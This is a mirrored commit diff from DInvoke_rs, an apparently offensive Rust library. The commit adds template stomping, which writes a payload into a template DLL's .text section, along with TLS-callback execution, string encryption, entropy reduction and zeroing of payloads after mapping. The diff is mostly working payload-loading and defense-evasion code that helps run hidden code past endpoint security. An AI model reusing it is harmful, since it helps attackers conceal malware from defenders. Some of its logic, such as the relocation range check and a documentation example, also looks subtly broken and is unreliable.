mirror of
https://github.com/Kudaes/DInvoke_rs
synced 2026-06-08 11:32:25 +00:00
Template stomping and other enhancements
Tls callbacks now are called when manually mapping a dll Additional heap cleaning More primitives Template stomping added, although not documented yet
This commit is contained in:
+5
-1
@@ -3,8 +3,12 @@ name = "dinvokeRs"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[profile.dev]
|
||||
debug-assertions = false
|
||||
|
||||
[profile.release]
|
||||
strip = true
|
||||
debug-assertions = false # required to avoid misaligned pointer dereference panics
|
||||
strip = true
|
||||
|
||||
[dependencies]
|
||||
dinvoke = { path = "dinvoke" }
|
||||
|
||||
@@ -9,6 +9,7 @@ pub type DWORD = u32;
|
||||
pub type EAT = BTreeMap<isize,String>;
|
||||
pub type EntryPoint = extern "system" fn (HINSTANCE, u32, *mut c_void) -> BOOL;
|
||||
pub type LoadLibraryA = unsafe extern "system" fn (PSTR) -> HINSTANCE;
|
||||
pub type FreeLibrary = unsafe extern "system" fn (isize) -> HINSTANCE;
|
||||
pub type OpenProcess = unsafe extern "system" fn (u32, i32, u32) -> HANDLE;
|
||||
pub type EnumProcesses = unsafe extern "system" fn (*mut u32, u32, *mut u32) -> bool;
|
||||
pub type QueueUserWorkItem = unsafe extern "system" fn (*mut c_void, *mut c_void, u32) -> bool;
|
||||
@@ -89,6 +90,13 @@ pub const UNW_FLAG_EHANDLER: u8 = 0x1;
|
||||
pub const UNW_FLAG_UHANDLER: u8 = 0x2;
|
||||
pub const UNW_FLAG_CHAININFO: u8 = 0x4;
|
||||
|
||||
// COFF Relocation constants
|
||||
pub const IMAGE_REL_AMD64_ABSOLUTE: u16 = 0x0000;
|
||||
pub const IMAGE_REL_AMD64_ADDR64: u16 = 0x0001;
|
||||
pub const IMAGE_REL_AMD64_ADDR32: u16 = 0x0002;
|
||||
pub const IMAGE_REL_AMD64_ADDR32NB: u16 = 0x0003;
|
||||
pub const IMAGE_REL_AMD64_REL32: u16 = 0x0004;
|
||||
|
||||
pub const DLL_PROCESS_DETACH: u32 = 0;
|
||||
pub const DLL_PROCESS_ATTACH: u32 = 1;
|
||||
pub const DLL_THREAD_ATTACH: u32 = 2;
|
||||
@@ -170,6 +178,72 @@ impl Default for PeMetadata {
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
#[repr(C)]
|
||||
pub struct CoffMetadata {
|
||||
pub image_file_header: ImageFileHeader,
|
||||
pub sections: Vec<IMAGE_SECTION_HEADER>,
|
||||
pub sections_order: BTreeMap<u32,Vec<u16>>,
|
||||
pub sections_mapped_addresses: BTreeMap<u16,usize>,
|
||||
pub symbols: Vec<CoffSymbol>,
|
||||
pub imports: BTreeMap<String,usize>
|
||||
}
|
||||
|
||||
impl Default for CoffMetadata {
|
||||
fn default() -> CoffMetadata {
|
||||
CoffMetadata {
|
||||
image_file_header: ImageFileHeader::default(),
|
||||
sections: Vec::default(),
|
||||
sections_order: BTreeMap::default(),
|
||||
sections_mapped_addresses: BTreeMap::default(),
|
||||
symbols: Vec::default(),
|
||||
imports: BTreeMap::default()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Clone, Copy)]
|
||||
#[repr(C)]
|
||||
pub struct AuxSymbolEntry {
|
||||
pub aux_symbol_entry: [u8;18]
|
||||
}
|
||||
|
||||
impl Default for AuxSymbolEntry {
|
||||
fn default() -> AuxSymbolEntry {
|
||||
AuxSymbolEntry {
|
||||
aux_symbol_entry: [0u8;18]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
#[repr(C)]
|
||||
pub struct CoffSymbol {
|
||||
pub name_str: String,
|
||||
pub symbol_offset: u32, // offset in strings table in case that the symbol's name is bigger than 8 bytes
|
||||
pub value: u32,
|
||||
pub section_number: u16,
|
||||
pub symbol_type: u16,
|
||||
pub storage_class: u8,
|
||||
pub aux_symbols: u8,
|
||||
pub aux_symbol_entries: Vec<AuxSymbolEntry>
|
||||
}
|
||||
|
||||
impl Default for CoffSymbol {
|
||||
fn default() -> CoffSymbol {
|
||||
CoffSymbol {
|
||||
name_str: String::default(),
|
||||
symbol_offset: u32::default(),
|
||||
value: u32::default(),
|
||||
section_number: u16::default(),
|
||||
symbol_type: u16::default(),
|
||||
storage_class: u8::default(),
|
||||
aux_symbols: u8::default(),
|
||||
aux_symbol_entries: Vec::default()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct PeManualMap {
|
||||
pub decoy_module: String,
|
||||
|
||||
+29
-8
@@ -15,9 +15,7 @@ use windows::Win32::System::Threading::PROCESS_BASIC_INFORMATION;
|
||||
use windows::Win32::System::IO::IO_STATUS_BLOCK;
|
||||
use windows::Wdk::Foundation::OBJECT_ATTRIBUTES;
|
||||
use windows::Win32::{Foundation::{HANDLE, HINSTANCE,UNICODE_STRING}, System::Threading::{GetCurrentProcess,GetCurrentThread}};
|
||||
use data::{ApiSetNamespace, ApiSetNamespaceEntry, ApiSetValueEntry, DLL_PROCESS_ATTACH, EAT, EntryPoint, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE,
|
||||
PVOID, PeMetadata, CONTEXT, NtAllocateVirtualMemoryArgs, ExceptionPointers, NtOpenProcessArgs, ClientId, PROCESS_QUERY_LIMITED_INFORMATION, NtProtectVirtualMemoryArgs,
|
||||
PAGE_READONLY, NtWriteVirtualMemoryArgs, ExceptionHandleFunction, PsAttributeList, NtCreateThreadExArgs, LptopLevelExceptionFilter, TLS_OUT_OF_INDEXES, PsCreateInfo};
|
||||
use data::{ApiSetNamespace, ApiSetNamespaceEntry, ApiSetValueEntry, ClientId, EntryPoint, ExceptionHandleFunction, ExceptionPointers, LptopLevelExceptionFilter, NtAllocateVirtualMemoryArgs, NtCreateThreadExArgs, NtOpenProcessArgs, NtProtectVirtualMemoryArgs, NtWriteVirtualMemoryArgs, PeMetadata, PsAttributeList, PsCreateInfo, CONTEXT, DLL_PROCESS_ATTACH, EAT, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READONLY, PAGE_READWRITE, PROCESS_QUERY_LIMITED_INFORMATION, PVOID, TLS_OUT_OF_INDEXES};
|
||||
use libc::c_void;
|
||||
use litcrypt2::lc;
|
||||
use winproc::Process;
|
||||
@@ -60,7 +58,7 @@ pub fn set_hardware_breakpoint(address: usize)
|
||||
let mut lp_context: *mut windows::Win32::System::Diagnostics::Debug::CONTEXT = std::mem::transmute(&context);
|
||||
let _ = GetThreadContext(GetCurrentThread(), lp_context);
|
||||
|
||||
let mut context: *mut CONTEXT = std::mem::transmute(lp_context);
|
||||
let context: *mut CONTEXT = std::mem::transmute(lp_context);
|
||||
(*context).Dr0 = address as u64;
|
||||
(*context).Dr6 = 0;
|
||||
(*context).Dr7 = (*context).Dr7 & !(((1 << 2) - 1) << 16); // 0xfffcffff -> Break on instruction execution only
|
||||
@@ -1003,13 +1001,36 @@ pub fn load_library_a(module: &str) -> isize {
|
||||
},
|
||||
None => { return 0; }
|
||||
}
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/// Frees the loaded dll. The function expects the module's base address.
|
||||
///
|
||||
/// If the function succeeds, the return value is nonzero.
|
||||
///
|
||||
/// # Examples
|
||||
///
|
||||
/// ```
|
||||
/// let module_handle: isize = dinvoke::load_library_a("somedll.dll");
|
||||
/// let ret = dinvoke::free_library(module_handle);
|
||||
///
|
||||
/// if ret == 0 {println!("somedll.dll sucessfully freed.");
|
||||
/// ```
|
||||
pub fn free_library(module_handle: isize) -> isize {
|
||||
|
||||
unsafe
|
||||
{
|
||||
let ret: Option<HINSTANCE>;
|
||||
let func_ptr: data::FreeLibrary;
|
||||
let module_base_address = get_module_base_address(&lc!("kernel32.dll"));
|
||||
dynamic_invoke!(module_base_address,&lc!("FreeLibrary"),func_ptr,ret,module_handle);
|
||||
|
||||
match ret {
|
||||
Some(x) => return x.0 as isize,
|
||||
None => return 0,
|
||||
}
|
||||
}
|
||||
}
|
||||
/// Opens a HANDLE to a process.
|
||||
///
|
||||
/// If the function fails, it will return a null HANDLE.
|
||||
|
||||
+19
-6
@@ -135,12 +135,10 @@ impl Manager {
|
||||
{
|
||||
let payload = self.payloads.get(&address).unwrap();
|
||||
let key = *self.keys.get(&address).unwrap();
|
||||
let decrypted_payload = Manager::xor_module(payload.to_vec(), key);
|
||||
let pe_info = self.payloads_metadata.get(&address).unwrap();
|
||||
let decoy_info = self.decoys_metadata.get(&address).unwrap();
|
||||
|
||||
|
||||
let addr: PVOID = std::mem::transmute(address);
|
||||
|
||||
let handle = HANDLE {0: -1};
|
||||
let base_address: *mut PVOID = std::mem::transmute(&address);
|
||||
let s: UnsafeCell<i64> = i64::default().into();
|
||||
@@ -158,6 +156,7 @@ impl Manager {
|
||||
|
||||
let old_protection: *mut u32 = std::mem::transmute(&u32::default());
|
||||
let ret = dinvoke::nt_protect_virtual_memory(handle, base_address, size, PAGE_READWRITE, old_protection);
|
||||
|
||||
|
||||
if ret != 0
|
||||
{
|
||||
@@ -165,8 +164,14 @@ impl Manager {
|
||||
}
|
||||
|
||||
dinvoke::rtl_zero_memory(*base_address, *size);
|
||||
|
||||
let mut decrypted_payload = Manager::xor_module(payload.to_vec(), key);
|
||||
let _r = manualmap::map_to_allocated_memory(decrypted_payload.as_ptr(), addr, pe_info)?;
|
||||
let decrypted_payload_ptr = decrypted_payload.as_mut_ptr();
|
||||
|
||||
for i in 0..decrypted_payload.len()
|
||||
{
|
||||
*(decrypted_payload_ptr.add(i)) = 0u8;
|
||||
}
|
||||
}
|
||||
|
||||
self.counter.insert(address, self.counter[&address] + 1);
|
||||
@@ -258,7 +263,7 @@ impl Manager {
|
||||
|
||||
}
|
||||
|
||||
pub fn stomp_shellcode (&mut self, address: isize) -> Result<(),String>
|
||||
pub fn stomp_shellcode(&mut self, address: isize) -> Result<(),String>
|
||||
{
|
||||
if self.payloads.contains_key(&address)
|
||||
{
|
||||
@@ -266,8 +271,16 @@ impl Manager {
|
||||
{
|
||||
let payload = self.payloads.get(&address).unwrap();
|
||||
let key = *self.keys.get(&address).unwrap();
|
||||
let decrypted_payload = Manager::xor_module(payload.to_vec(), key);
|
||||
let mut decrypted_payload = Manager::xor_module(payload.to_vec(), key);
|
||||
let result = overload::managed_module_stomping(&decrypted_payload, address, 0);
|
||||
let decrypted_payload_ptr = decrypted_payload.as_mut_ptr();
|
||||
unsafe
|
||||
{
|
||||
for i in 0..decrypted_payload.len()
|
||||
{
|
||||
*(decrypted_payload_ptr.add(i)) = 0u8;
|
||||
}
|
||||
}
|
||||
|
||||
if !result.is_ok()
|
||||
{
|
||||
|
||||
+55
-8
@@ -45,14 +45,22 @@ use litcrypt2::lc;
|
||||
/// Err(e) => println!("{}", e),
|
||||
/// }
|
||||
/// ```
|
||||
pub fn read_and_map_module (filepath: &str, clean_headers: bool) -> Result<(PeMetadata,isize), String>
|
||||
pub fn read_and_map_module (filepath: &str, clean_dos_header: bool) -> Result<(PeMetadata,isize), String>
|
||||
{
|
||||
let file_content = fs::read(filepath).expect(&lc!("[x] Error opening the specified file."));
|
||||
let file_content_ptr = file_content.as_ptr();
|
||||
let file_content_ptr = file_content.as_ptr() as *mut _;
|
||||
|
||||
let result = manually_map_module(file_content_ptr, clean_dos_header)?;
|
||||
|
||||
let result = manually_map_module(file_content_ptr, clean_headers)?;
|
||||
unsafe
|
||||
{
|
||||
for i in 0..file_content.len()
|
||||
{
|
||||
*(file_content_ptr.add(i)) = 0u8;
|
||||
}
|
||||
|
||||
Ok(result)
|
||||
Ok(result)
|
||||
}
|
||||
}
|
||||
|
||||
/// Manually maps a PE into the current process.
|
||||
@@ -72,7 +80,7 @@ pub fn read_and_map_module (filepath: &str, clean_headers: bool) -> Result<(PeMe
|
||||
/// let file_content_ptr = file_content.as_ptr();
|
||||
/// let result = manualmap::manually_map_module(file_content_ptr, true);
|
||||
/// ```
|
||||
pub fn manually_map_module (file_ptr: *const u8, clean_headers: bool) -> Result<(PeMetadata,isize), String>
|
||||
pub fn manually_map_module (file_ptr: *const u8, clean_dos_headers: bool) -> Result<(PeMetadata,isize), String>
|
||||
{
|
||||
let pe_info = get_pe_metadata(file_ptr)?;
|
||||
if (pe_info.is_32_bit && (size_of::<usize>() == 8)) || (!pe_info.is_32_bit && (size_of::<usize>() == 4))
|
||||
@@ -115,7 +123,7 @@ pub fn manually_map_module (file_ptr: *const u8, clean_headers: bool) -> Result<
|
||||
|
||||
rewrite_module_iat(&pe_info, image_ptr)?;
|
||||
|
||||
if clean_headers
|
||||
if clean_dos_headers
|
||||
{
|
||||
clean_dos_header(image_ptr);
|
||||
}
|
||||
@@ -124,6 +132,8 @@ pub fn manually_map_module (file_ptr: *const u8, clean_headers: bool) -> Result<
|
||||
|
||||
add_runtime_table(&pe_info, image_ptr);
|
||||
|
||||
run_tls_callbacks(&pe_info, image_ptr);
|
||||
|
||||
Ok((pe_info,image_ptr as isize))
|
||||
|
||||
}
|
||||
@@ -155,6 +165,7 @@ pub fn get_runtime_table(image_ptr: *mut c_void) -> (*mut data::RuntimeFunction,
|
||||
let base = image_ptr as isize;
|
||||
runtime = std::mem::transmute(base + section.VirtualAddress as isize);
|
||||
size = section.SizeOfRawData;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -182,8 +193,8 @@ pub fn get_pe_metadata (module_ptr: *const u8) -> Result<PeMetadata,String>
|
||||
{
|
||||
let mut pe_metadata= PeMetadata::default();
|
||||
|
||||
unsafe {
|
||||
|
||||
unsafe
|
||||
{
|
||||
let e_lfanew = *((module_ptr as usize + 0x3C) as *const u32);
|
||||
pe_metadata.pe = *((module_ptr as usize + e_lfanew as usize) as *const u32);
|
||||
|
||||
@@ -685,6 +696,42 @@ pub fn set_module_section_permissions(pe_info: &PeMetadata, image_ptr: *mut c_vo
|
||||
}
|
||||
}
|
||||
|
||||
/// Executes any registered TLS Callback function.
|
||||
///
|
||||
/// The parameters required are the module's metadata information and a
|
||||
/// pointer to the base address where the module is mapped in memory.
|
||||
pub fn run_tls_callbacks(pe_info: &PeMetadata, image_ptr: *mut c_void)
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let entry_point;
|
||||
if pe_info.is_32_bit
|
||||
{
|
||||
entry_point = image_ptr as isize + pe_info.opt_header_32.AddressOfEntryPoint as isize;
|
||||
}
|
||||
else
|
||||
{
|
||||
entry_point = image_ptr as isize + pe_info.opt_header_64.address_of_entry_point as isize;
|
||||
|
||||
}
|
||||
|
||||
if pe_info.opt_header_64.number_of_rva_and_sizes >= 10
|
||||
{
|
||||
let address: *mut u8 = (image_ptr as usize + pe_info.opt_header_64.datas_directory[9].VirtualAddress as usize) as *mut u8;
|
||||
let address_of_tls_callback = address.add(24) as *mut usize;
|
||||
let mut address_of_tls_callback_array: *mut usize = std::mem::transmute(*address_of_tls_callback);
|
||||
|
||||
while *address_of_tls_callback_array != 0
|
||||
{
|
||||
let tls_callback: extern "system" fn (isize, u32, PVOID) = std::mem::transmute(*address_of_tls_callback_array);
|
||||
tls_callback(entry_point, 1, ptr::null_mut());
|
||||
address_of_tls_callback_array = address_of_tls_callback_array.add(1);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
/// Map a module to a memory section.
|
||||
///
|
||||
/// The parameter required is the file path of the module that should be mapped.
|
||||
|
||||
+278
-8
@@ -2,9 +2,9 @@
|
||||
extern crate litcrypt2;
|
||||
use_litcrypt!();
|
||||
|
||||
use std::{env, fs, path::Path, ptr, ffi::c_void};
|
||||
use nanorand::{WyRand, Rng};
|
||||
use windows::Win32::Foundation::HANDLE;
|
||||
use std::{cell::UnsafeCell, env, ffi::c_void, fs, mem::size_of, path::Path, ptr::{self, copy_nonoverlapping}};
|
||||
use nanorand::{BufferedRng, Rng, WyRand};
|
||||
use windows::Win32::{Foundation::HANDLE, System::SystemServices::IMAGE_BASE_RELOCATION};
|
||||
use data::{PeMetadata, PVOID, PAGE_READWRITE, PeManualMap, PAGE_EXECUTE_READ};
|
||||
use winproc::Process;
|
||||
|
||||
@@ -169,8 +169,18 @@ pub fn read_and_overload(payload_path: &str, decoy_module_path: &str) -> Result<
|
||||
}
|
||||
|
||||
|
||||
let file_content = fs::read(payload_path).expect(&lc!("[x] Error opening the payload file."));
|
||||
let result = overload_module(file_content, decoy_module_path)?;
|
||||
let mut file_content = fs::read(payload_path).expect(&lc!("[x] Error opening the payload file."));
|
||||
let result = overload_module(&file_content, decoy_module_path)?;
|
||||
let file_content_ptr = file_content.as_mut_ptr();
|
||||
|
||||
unsafe
|
||||
{
|
||||
for i in 0..file_content.len()
|
||||
{
|
||||
*(file_content_ptr.add(i)) = 0u8;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
Ok(result)
|
||||
}
|
||||
@@ -195,7 +205,7 @@ pub fn read_and_overload(payload_path: &str, decoy_module_path: &str) -> Result<
|
||||
/// Err(e) => println!("An error has occurred: {}", e),
|
||||
/// }
|
||||
/// ```
|
||||
pub fn overload_module (file_content: Vec<u8>, decoy_module_path: &str) -> Result<(PeMetadata,isize), String>
|
||||
pub fn overload_module (file_content: &Vec<u8>, decoy_module_path: &str) -> Result<(PeMetadata,isize), String>
|
||||
{
|
||||
let mut decoy_module_path = decoy_module_path.to_string();
|
||||
if decoy_module_path != ""
|
||||
@@ -248,7 +258,7 @@ pub fn overload_module (file_content: Vec<u8>, decoy_module_path: &str) -> Resul
|
||||
/// Err(e) => println!("An error has occurred: {}", e),
|
||||
/// }
|
||||
/// ```
|
||||
pub fn overload_to_section (file_content: Vec<u8>, section_metadata: PeManualMap) -> Result<(PeMetadata,isize), String>
|
||||
pub fn overload_to_section (file_content: &Vec<u8>, section_metadata: PeManualMap) -> Result<(PeMetadata,isize), String>
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
@@ -374,7 +384,7 @@ pub fn managed_overload_module (file_content: Vec<u8>, decoy_module_path: &str)
|
||||
|
||||
let decoy_metadata: (PeManualMap, HANDLE) = manualmap::map_to_section(&decoy_module_path)?;
|
||||
|
||||
let result: (PeMetadata,isize) = overload_to_section(file_content, decoy_metadata.0)?;
|
||||
let result: (PeMetadata,isize) = overload_to_section(&file_content, decoy_metadata.0)?;
|
||||
|
||||
Ok((decoy_content, result.1))
|
||||
}
|
||||
@@ -539,3 +549,263 @@ pub fn managed_module_stomping(payload_content: &Vec<u8>, mut stomp_address: isi
|
||||
}
|
||||
}
|
||||
|
||||
pub fn prepare_template(input_file: &str, output_directory: &str) -> Result<(), String>
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let text_name = &lc!(".text");
|
||||
if !Path::new(input_file).is_file() || !Path::new(output_directory).is_dir() {
|
||||
return Err(lc!("[x] Invalid path."));
|
||||
}
|
||||
|
||||
let mapped_dll = dinvoke::load_library_a(input_file);
|
||||
if mapped_dll == 0 {
|
||||
return Err(lc!("[x] Invalid input dll."));
|
||||
}
|
||||
|
||||
let mapped_dll_metadata = manualmap::get_pe_metadata(mapped_dll as _).unwrap();
|
||||
let entry_point;
|
||||
if mapped_dll_metadata.is_32_bit
|
||||
{
|
||||
entry_point = mapped_dll + mapped_dll_metadata.opt_header_32.AddressOfEntryPoint as isize;
|
||||
}
|
||||
else
|
||||
{
|
||||
entry_point = mapped_dll + mapped_dll_metadata.opt_header_64.address_of_entry_point as isize;
|
||||
|
||||
}
|
||||
|
||||
let mut tls_callback_vas: Vec<usize> = vec![];
|
||||
if mapped_dll_metadata.opt_header_64.number_of_rva_and_sizes >= 10
|
||||
{
|
||||
let address: *mut u8 = (mapped_dll as usize + mapped_dll_metadata.opt_header_64.datas_directory[9].VirtualAddress as usize) as *mut u8;
|
||||
let address_of_tls_callback = address.add(24) as *mut usize;
|
||||
let mut address_of_tls_callback_array: *mut usize = std::mem::transmute(*address_of_tls_callback);
|
||||
|
||||
while *address_of_tls_callback_array != 0
|
||||
{
|
||||
tls_callback_vas.push(*address_of_tls_callback_array);
|
||||
address_of_tls_callback_array = address_of_tls_callback_array.add(1);
|
||||
}
|
||||
}
|
||||
|
||||
// We calculate entrypoint/tls callbacks' RVAs from .text section's base address
|
||||
let mut entrypoint_rva: u32 = 0;
|
||||
let mut tls_callbacks_rvas: Vec<u32> = vec![];
|
||||
for section in &mapped_dll_metadata.sections
|
||||
{
|
||||
if std::str::from_utf8(§ion.Name).unwrap().contains(text_name)
|
||||
{
|
||||
let text_base_address = mapped_dll as usize + section.VirtualAddress as usize;
|
||||
entrypoint_rva = (entry_point as usize - text_base_address) as u32;
|
||||
|
||||
for tls_callback_va in &tls_callback_vas
|
||||
{
|
||||
let tls_rva = (tls_callback_va - text_base_address) as u32;
|
||||
tls_callbacks_rvas.push(tls_rva);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
let dll_content = fs::read(input_file).expect(&lc!("[x] Error opening the specified dll."));
|
||||
|
||||
let dll_content_buffer = dll_content.as_ptr() as _;
|
||||
let pe_info = manualmap::get_pe_metadata(dll_content_buffer).unwrap();
|
||||
|
||||
for section in &pe_info.sections
|
||||
{
|
||||
if std::str::from_utf8(§ion.Name).unwrap().contains(text_name)
|
||||
{
|
||||
let text_base_address: *mut c_void = (dll_content_buffer as usize + section.PointerToRawData as usize) as *mut c_void;
|
||||
let size: usize = section.SizeOfRawData as usize;
|
||||
let u = size / 4;
|
||||
let mut text_content: Vec<u8> = vec![0;size];
|
||||
|
||||
// We do this to reduce the template's entropy
|
||||
let mut first_buffer: Vec<u8> = vec![0;u*3];
|
||||
let mut second_buffer: Vec<u8> = vec![0;u];
|
||||
let mut rng = BufferedRng::new(WyRand::new());
|
||||
rng.fill(&mut first_buffer);
|
||||
first_buffer.append(&mut second_buffer);
|
||||
|
||||
copy_nonoverlapping(text_base_address as *mut u8, text_content.as_mut_ptr(), size);
|
||||
|
||||
let payload_path = format!("{}{}",output_directory, lc!("payload.bin"));
|
||||
let path: &Path = Path::new(&payload_path);
|
||||
let _ = fs::write(path, &text_content);
|
||||
|
||||
let text_base_address: *mut c_void = (dll_content_buffer as usize + section.PointerToRawData as usize) as *mut c_void;
|
||||
let size: usize = section.SizeOfRawData as usize;
|
||||
copy_nonoverlapping(first_buffer.as_ptr() as *const u8, text_base_address as *mut u8, size);
|
||||
|
||||
let dll_main_template = 214404767416760usize; // mov eax, 1; ret;
|
||||
let entrypoint_addr = (dll_content_buffer as usize + section.PointerToRawData as usize + entrypoint_rva as usize) as *mut usize;
|
||||
*entrypoint_addr = dll_main_template;
|
||||
|
||||
let callback_template = 0xc3 as u8; // ret
|
||||
for tls_callbacks_rva in tls_callbacks_rvas
|
||||
{
|
||||
let tls_callback_addr = (dll_content_buffer as usize + section.PointerToRawData as usize + tls_callbacks_rva as usize) as *mut u8;
|
||||
*tls_callback_addr = callback_template;
|
||||
}
|
||||
|
||||
let template_path = format!("{}{}",output_directory, lc!("template.dll"));
|
||||
let _ = fs::write(&template_path, &dll_content);
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub fn template_stomping(template_path: &str, payload_content: &mut Vec<u8>) -> Result<(PeMetadata,isize), String>
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let text_name = &lc!(".text");
|
||||
if !Path::new(template_path).is_file() {
|
||||
return Err(lc!("[x] Invalid dll path."));
|
||||
}
|
||||
|
||||
let loaded_dll = dinvoke::load_library_a(template_path);
|
||||
if loaded_dll == 0{
|
||||
return Err(lc!("[x] Error calling LoadLibraryA."));
|
||||
}
|
||||
|
||||
let dll_metadata = manualmap::get_pe_metadata(loaded_dll as _).unwrap();
|
||||
for section in &dll_metadata.sections
|
||||
{
|
||||
if std::str::from_utf8(§ion.Name).unwrap().contains(text_name)
|
||||
{
|
||||
let text_address: *mut c_void = (loaded_dll as usize + section.VirtualAddress as usize) as *mut c_void;
|
||||
let text_sect_ending_addr = loaded_dll as usize + section.VirtualAddress as usize + section.Misc.VirtualSize as usize;
|
||||
let text_addr_ptr: *mut PVOID = std::mem::transmute(&text_address);
|
||||
let s: UnsafeCell<isize> = isize::default().into();
|
||||
let size: *mut usize = std::mem::transmute(s.get());
|
||||
*size = section.Misc.VirtualSize as usize;
|
||||
let o = u32::default();
|
||||
let old_protection: *mut u32 = std::mem::transmute(&o);
|
||||
let new_protect: u32 = PAGE_READWRITE;
|
||||
|
||||
let ret = dinvoke::nt_protect_virtual_memory(HANDLE(-1), text_addr_ptr, size, new_protect, old_protection);
|
||||
|
||||
if ret != 0
|
||||
{
|
||||
let _ = dinvoke::free_library(loaded_dll);
|
||||
return Err(lc!("[x] An error ocurred. Dll released."));
|
||||
}
|
||||
|
||||
let handle = HANDLE(-1);
|
||||
let written: usize = 0;
|
||||
let nsize = payload_content.len();
|
||||
let buffer: *mut c_void = payload_content.as_mut_ptr() as _;
|
||||
let bytes_written: *mut usize = std::mem::transmute(&written);
|
||||
let ret = dinvoke::nt_write_virtual_memory(handle, text_address, buffer, nsize, bytes_written);
|
||||
if ret != 0
|
||||
{
|
||||
let _ = dinvoke::free_library(loaded_dll);
|
||||
return Err(lc!("[x] An error ocurred. Dll released."));
|
||||
}
|
||||
|
||||
relocate_text_section(&dll_metadata, loaded_dll as _, text_address as _,text_sect_ending_addr);
|
||||
|
||||
let text_address: *mut c_void = (loaded_dll as usize + section.VirtualAddress as usize) as *mut c_void;
|
||||
let text_addr_ptr: *mut PVOID = std::mem::transmute(&text_address);
|
||||
let s: UnsafeCell<isize> = isize::default().into();
|
||||
let size: *mut usize = std::mem::transmute(s.get());
|
||||
*size = section.Misc.VirtualSize as usize;
|
||||
let o = u32::default();
|
||||
let old_protection: *mut u32 = std::mem::transmute(&o);
|
||||
let new_protect: u32 = PAGE_EXECUTE_READ;
|
||||
let ret = dinvoke::nt_protect_virtual_memory(HANDLE(-1), text_addr_ptr, size, new_protect, old_protection);
|
||||
if ret != 0
|
||||
{
|
||||
let _ = dinvoke::free_library(loaded_dll);
|
||||
return Err(lc!("[x] An error ocurred. Dll released."));
|
||||
}
|
||||
|
||||
return Ok((dll_metadata,loaded_dll));
|
||||
}
|
||||
}
|
||||
|
||||
Ok((PeMetadata::default(),0))
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
/// Performs all relocations on the .text section of a loaded module.
|
||||
///
|
||||
/// The parameters required are the module's metadata information and a
|
||||
/// pointer to the base address where the module is mapped in memory.
|
||||
fn relocate_text_section(pe_info: &PeMetadata, image_ptr: *mut c_void, start_address: usize, end_address: usize)
|
||||
{
|
||||
unsafe {
|
||||
|
||||
let module_memory_base: *mut usize = std::mem::transmute(image_ptr);
|
||||
let image_data_directory;
|
||||
let image_delta: isize;
|
||||
if pe_info.is_32_bit
|
||||
{
|
||||
image_data_directory = pe_info.opt_header_32.DataDirectory[5]; // BaseRelocationTable
|
||||
image_delta = module_memory_base as isize - pe_info.opt_header_32.ImageBase as isize;
|
||||
}
|
||||
else
|
||||
{
|
||||
image_data_directory = pe_info.opt_header_64.datas_directory[5]; // BaseRelocationTable
|
||||
image_delta = module_memory_base as isize - pe_info.opt_header_64.image_base as isize;
|
||||
}
|
||||
|
||||
let mut reloc_table_ptr = (module_memory_base as usize + image_data_directory.VirtualAddress as usize) as *mut i32;
|
||||
let mut next_reloc_table_block = -1;
|
||||
|
||||
while next_reloc_table_block != 0
|
||||
{
|
||||
let ibr: *mut IMAGE_BASE_RELOCATION = std::mem::transmute(reloc_table_ptr);
|
||||
let image_base_relocation = *ibr;
|
||||
let reloc_count: isize = (image_base_relocation.SizeOfBlock as isize - size_of::<IMAGE_BASE_RELOCATION>() as isize) / 2;
|
||||
|
||||
for i in 0..reloc_count
|
||||
{
|
||||
let reloc_entry_ptr = (reloc_table_ptr as usize + size_of::<IMAGE_BASE_RELOCATION>() as usize + (i * 2) as usize) as *mut u16;
|
||||
let reloc_value = *reloc_entry_ptr;
|
||||
|
||||
let reloc_type = reloc_value >> 12;
|
||||
let reloc_patch = reloc_value & 0xfff;
|
||||
|
||||
if reloc_type != 0
|
||||
{
|
||||
|
||||
if reloc_type == 0x3
|
||||
{
|
||||
let patch_ptr = (module_memory_base as usize + image_base_relocation.VirtualAddress as usize + reloc_patch as usize) as *mut i32;
|
||||
if reloc_patch as usize >= start_address && reloc_patch as usize <= (end_address - 4)
|
||||
{
|
||||
let original_ptr = *patch_ptr;
|
||||
let patch = original_ptr + image_delta as i32;
|
||||
*patch_ptr = patch;
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
let patch_ptr = (module_memory_base as usize + image_base_relocation.VirtualAddress as usize + reloc_patch as usize) as *mut isize;
|
||||
if reloc_patch as usize >= start_address && reloc_patch as usize <= (end_address - 8)
|
||||
{
|
||||
let original_ptr = *patch_ptr;
|
||||
let patch = original_ptr + image_delta as isize;
|
||||
*patch_ptr = patch;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
reloc_table_ptr = (reloc_table_ptr as usize + image_base_relocation.SizeOfBlock as usize) as *mut i32;
|
||||
next_reloc_table_block = *reloc_table_ptr;
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user